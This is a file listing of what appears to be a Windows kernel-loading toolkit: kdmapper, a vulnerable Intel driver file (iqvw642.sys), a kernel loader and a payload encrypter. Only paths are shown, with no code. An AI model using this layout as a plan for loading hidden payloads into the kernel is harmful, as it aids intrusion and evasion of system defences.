- KernelLdr/KernelLdr/KernelLdr/KernelLdr.vcxproj.filters
- KernelLdr/KernelLdr/KernelLdr/KernelLdr.vcxproj.user
- KernelLdr/KernelLdr/KernelLdr/main.c
- PayloadEncrypter.zip
- PayloadEncrypter/PayloadEncrypter/PayloadEncrypter.sln
- PayloadEncrypter/PayloadEncrypter/PayloadEncrypter/PayloadEncrypter.vcxproj
- PayloadEncrypter/PayloadEncrypter/PayloadEncrypter/PayloadEncrypter.vcxproj.filters
- PayloadEncrypter/PayloadEncrypter/PayloadEncrypter/PayloadEncrypter.vcxproj.user
- PayloadEncrypter/PayloadEncrypter/PayloadEncrypter/main.c
- iqvw642.sys
- kdmapper-updated.zip
- kdmapper-updated/kdmapper/kdmapper.sln
- kdmapper-updated/kdmapper/kdmapper/GetNtdllProcAddressH.cpp
- kdmapper-updated/kdmapper/kdmapper/GetNtdllProcAddressH.hpp
- kdmapper-updated/kdmapper/kdmapper/intel_driver.cpp
- kdmapper-updated/kdmapper/kdmapper/intel_driver.hpp
- kdmapper-updated/kdmapper/kdmapper/intel_driver_resource.hpp
- kdmapper-updated/kdmapper/kdmapper/kdmapper.cpp
- kdmapper-updated/kdmapper/kdmapper/kdmapper.hpp
- kdmapper-updated/kdmapper/kdmapper/kdmapper.vcxproj
- kdmapper-updated/kdmapper/kdmapper/kdmapper.vcxproj.filters
- kdmapper-updated/kdmapper/kdmapper/kdmapper.vcxproj.user
- kdmapper-updated/kdmapper/kdmapper/main.cpp
- kdmapper-updated/kdmapper/kdmapper/nt.hpp
- kdmapper-updated/kdmapper/kdmapper/portable_executable.cpp
- kdmapper-updated/kdmapper/kdmapper/portable_executable.hpp
- kdmapper-updated/kdmapper/kdmapper/service.cpp
- kdmapper-updated/kdmapper/kdmapper/service.hpp
- kdmapper-updated/kdmapper/kdmapper/utils.cpp
- kdmapper-updated/kdmapper/kdmapper/utils.hpp